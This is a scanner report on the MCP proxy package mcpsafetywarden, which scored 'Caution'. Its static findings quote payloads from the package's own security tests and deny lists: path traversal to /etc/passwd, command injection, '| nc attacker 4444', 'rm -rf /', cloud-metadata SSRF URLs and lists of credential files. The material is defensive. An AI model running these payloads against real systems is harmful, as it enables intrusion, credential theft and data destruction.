Skills/PyPI/mcpsafetywarden

mcpsafetywarden@1.6.2

CAUTION· not started

Publisher claims: "MCP proxy server with behavioral profiling, security scanning, risk gating, and safe execution" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher gautamvarmadatla · publishing for 204 daysInstalls 1,908Last detonated 4d ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
ANTHROPIC_API_KEYAWS_SECRET_ACCESS_KEYGEMINI_API_KEYGH_TOKENGITHUB_TOKENGOOGLE_API_KEYMCP_AUTH_TOKENMCP_SCANNER_API_KEYMCP_SCANNER_LLM_API_KEYOPENAI_API_KEYSNYK_TOKEN or --scan-api-keyConfiguration, not credentials: MCP_DB_ENCRYPTION_KEY, MCP_DB_PATH, MCP_GRAPH_POLICY, MCP_HOST, MCP_PORT, MCP_SANDBOX, MCP_SANDBOX_IMAGE, MCP_SANDBOX_MICROVM_CMD, MCP_TRANSPORT, OLLAMA_BASE_URL, OLLAMA_MODEL, PROGRAMDATA
Where it talks to
no vendor host named in the codeAlso githubusercontent.com, mermaid.live, osv.dev, google.internal, algolia.com, snyk.io, reactjs.org, reactrouter.com — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names githubusercontent.com, mermaid.live, osv.dev, google.internal, algolia.com, snyk.io, reactjs.org, reactrouter.com as well as its own vendor. The guard injects ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GEMINI_API_KEY, GH_TOKEN, GITHUB_TOKEN, GOOGLE_API_KEY, MCP_AUTH_TOKEN, MCP_SCANNER_API_KEY, MCP_SCANNER_LLM_API_KEY, OPENAI_API_KEY, SNYK_TOKEN only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx mcpsafetywarden

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: References a credential file in the home directory; URL to the cloud instance metadata address; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

HIGH
References a credential file in the home directorymcpsafetywarden/scan/args.py:559 · References a credential file in the home directoryREAL: A file-path arg containing ../ sequences, /etc/passwd, ~/.ssh/id_rsa, .aws/credentials,Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
CRITICAL
URL to the cloud instance metadata addressmcpsafetywarden/scan/mcpsafety.py:252 · URL to the cloud instance metadata address — reads the VM's credentials"http://169.254.169.254/latest/meta-data/"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
HIGH
Access to sensitive file pathsmcpsafetywarden/sandbox/profile.py:23 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"~/.netrc",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/sandbox/profile.py:19 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"~/.gnupg",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
References a credential file in the home directorymcpsafetywarden/sandbox/profile.py:23 · References a credential file in the home directory"~/.netrc",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
References a credential file in the home directorymcpsafetywarden/sandbox/profile.py:22 · References a credential file in the home directory"~/.docker/config.json",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/classifier.py:366 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"download.?file|\.\.\/|\/etc\/|\/home\/|\.ssh|\.pem|\.env)\b",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
URL to the cloud instance metadata addressmcpsafetywarden/scan/mcpsafety.py:87 · URL to the cloud instance metadata address — reads the VM's credentialsssrf http://169.254.169.254/latest/meta-data/, http://metadata.google.internal/Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/args.py:559 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesREAL: A file-path arg containing ../ sequences, /etc/passwd, ~/.ssh/id_rsa, .aws/credentials,Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/args.py:66 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"|[/\\]\.netrc(\b|$)"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/sandbox/profile.py:18 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"~/.aws",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/args.py:54 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"|(^|[/\\])\.env($|[/\\.])"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/proxy/client.py:291 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files- "Invoke the [tool_name] tool with path='/etc/passwd'"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Pipe to network utilitymcpsafetywarden/scan/mcpsafety.py:516 · Pipe to network utility — potential reverse shell"; sleep 5" (time-based blind), "| nc attacker 4444" - record as attempted, note responseFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/sandbox/profile.py:17 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"~/.ssh",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/sandbox/profile.py:20 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"~/.kube",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/classifier.py:489 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesre.compile(r"\b(env|environment|environ|process\.env|os\.environ|dotenv|\.env)\b", re.I),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/args.py:560 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files.env files - especially when the tool description does not indicate it reads arbitrary paths.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_sandbox.py:34 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "~/.ssh" in p.filesystem.denyFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive file system command detectedtests/test_bugfix_regressions.py:29 · Destructive file system command detectedargsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/graph/provenance.py:442 · Python subprocess execution detectedproc = subprocess.run(cmd, capture_output=True, text=True, timeout=_PKG_TIMEOUT)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/graph/provenance.py:1049 · Python subprocess execution detectedproc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionmcpsafetywarden/static/assets/index-DaGIivhS.js:62 · File type combined with upload action — agent may exfiltrate local data files…_ms","output_size","notes"]);iy(`history-${new Date().toISOString().slice(0,10)}.csv`,ie),r(`Exported ${G.length.toLocaleString()} call${G.length===1?"":"s"} to CSV.`)}catch(ne){r(`Export failed: ${Ft(ne)}`)}finally{I(!1)}};let de="";retur…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Destructive command against a filesystem root or devicetests/test_bugfix_regressions.py:45 · Destructive command against a filesystem root or deviceresult = _run(argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_bugfix_regressions.py:21 · Destructive file system command detectedargsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/mcpsafety.py:82 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filespath_traversal ../../etc/passwd, ..%2f..%2fetc%2fpasswd, ....//....//etc/passwdFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_bugfix_regressions.py:29 · Destructive command against a filesystem root or deviceargsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/mcpsafety.py:83 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system fileslfi_rfi /etc/shadow, file:///etc/passwd, \\\\UNC\\shareFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedtests/test_sandbox.py:454 · Python subprocess execution detectedout = subprocess.run([spawn.command, *spawn.args], env=spawn.env, capture_output=True, text=True, timeout=40)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/graph/provenance.py:508 · Python subprocess execution detectedproc2 = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionmcpsafetywarden/static/assets/index-DaGIivhS.js:37 · File type combined with upload action — agent may exfiltrate local data files…d 0,(e.current.flags&128)===128)}catch{}}var Bt=Math.clz32?Math.clz32:Ch,Eh=Math.log,_h=Math.LN2;function Ch(e){return e>>>=0,e===0?32:31-(Eh(e)/_h|0)|0}var As=64,Us=4194304;function Gr(e){switch(e&-e){case 1:return 1;case 2:return 2;case …Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/scanner.py:95 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files~/.ssh/id_rsa", "send results to webhook.site/...", "always do X when this tool is used".Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/proxy/discovery.py:1141 · Python subprocess execution detectedinspect_result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/graph/explain.py:772 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Dense URL-encoded contentmcpsafetywarden/scan/mcpsafety.py:506 · Dense URL-encoded content — may be obfuscating payloads"%2e%2e%2f%2e%2e%2fetc%2fpasswd", "....//....//etc/passwd", "..%252f..%252fetc%252fpasswd"Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
HIGH
References a credential file in the home directorymcpsafetywarden/scan/scanner.py:95 · References a credential file in the home directory~/.ssh/id_rsa", "send results to webhook.site/...", "always do X when this tool is used".Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
URL to the cloud instance metadata addresstests/test_sandbox.py:393 · URL to the cloud instance metadata address — reads the VM's credentialsverify_remote({"url": "http://169.254.169.254/mcp"}, reserved)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
HIGH
References a credential file in the home directorymcpsafetywarden/scan/mcpsafety.py:509 · References a credential file in the home directory"~/.ssh/id_rsa", "~/.aws/credentials", "/etc/passwd", "/etc/shadow", "~/.env", "~/.netrc"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
Python subprocess execution detectedmcpsafetywarden/graph/provenance.py:485 · Python subprocess execution detectedproc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedtests/test_sandbox.py:427 · Python subprocess execution detectedout = subprocess.run([spawn.command, *spawn.args], env=spawn.env, capture_output=True, text=True, timeout=40)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Excessive HTML entities detectedmcpsafetywarden/proxy/client.py:332 · Excessive HTML entities detected — may be obfuscating content- **HTML entities**: <script>, ignore (spells "ignore")Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
MEDIUM
Dense URL-encoded contentmcpsafetywarden/scan/mcpsafety.py:247 · Dense URL-encoded content — may be obfuscating payloads"%2e%2e%2f%2e%2e%2fetc%2fpasswd"Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
HIGH
Access to sensitive file pathsmcpsafetywarden/scan/mcpsafety.py:98 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescommand_injection ; id, | whoami, && cat /etc/passwd, $(id), `id`, ${IFS}cat${IFS}/etc/passwdFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_bugfix_regressions.py:21 · Destructive command against a filesystem root or deviceargsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}, llm_provider="anthropic", llm_api_key="x")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/proxy/discovery.py:1129 · Python subprocess execution detectedids_result = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_sandbox.py:321 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesunbound = from_dict({"filesystem": {"workdir": ".", "deny": ["~/.ssh"]}})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Process kill commandmcpsafetywarden/sandbox/backends.py:103 · Process kill command — agent can terminate processesvirtual address space and kills modern runtimes, and a wall clock would killFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedmcpsafetywarden/graph/provenance.py:1028 · Python subprocess execution detectedproc = subprocess.run(cmd, capture_output=True, text=True, timeout=_PKG_TIMEOUT)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_bugfix_regressions.py:39 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesargsmod.scan_args_for_threats("run", {"path": "../../etc/passwd"}, llm_provider="anthropic", llm_api_key="x")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File type combined with upload actionmcpsafetywarden/static/assets/index-DaGIivhS.js:59 · File type combined with upload action — agent may exfiltrate local data files…fy(i):void 0});if(!u.ok){let c=`${u.status} ${u.statusText}`;try{const f=await u.json();typeof(f==null?void 0:f.detail)=="string"?c=f.detail:Array.isArray(f==null?void 0:f.detail)&&(c=f.detail.map(h=>h.msg).join(", "))}catch{}throw new Jf(…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Access to sensitive file pathstests/test_sandbox.py:328 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files(tmp_path / "config" / ".env").write_text("KEY=v")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive file system command detectedtests/test_bugfix_regressions.py:45 · Destructive file system command detectedresult = _run(argsmod.scan_args_for_threats("run", {"cmd": "; rm -rf /"}))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_sandbox.py:329 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesbound = from_dict({"filesystem": {"workdir": str(tmp_path), "deny": [str(tmp_path / "secretdir"), "**/.env"]}})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive file system command detectedtests/test_tool_ops.py:239 · Destructive file system command detectedargs={"repoName": "$(rm -rf /)"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_sandbox.py:336 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert any(m.endswith(".env") for m in masked)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Stripe-like API key pattern detectedtests/test_tool_contract.py:131 · Stripe-like API key pattern detected — possible hardcoded or harvested key"env": {"API_KEY": "sk-live-abcdefghijklmnopqrstuvwxyz123456"},Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
LOW
URL to a private-network addresstests/test_sandbox.py:421 · URL to a private-network address — a LAN or development target" urllib.request.urlopen('http://10.0.0.1/', timeout=8)\n"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07

Cost to the agent

Instructions loaded
≈61 tok
1 file · 73 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcpsafetywarden@1.6.2 as of 4d ago. This is the package itself, not its dependencies.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. URL to the cloud instance metadata address≈ +9 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  2. Pipe to network utility≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  3. Unclaimed publisher≈ +8 on the totalClaim gautamvarmadatla: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  4. References a credential file in the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  5. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim gautamvarmadatlaPropose a patch to the maintainer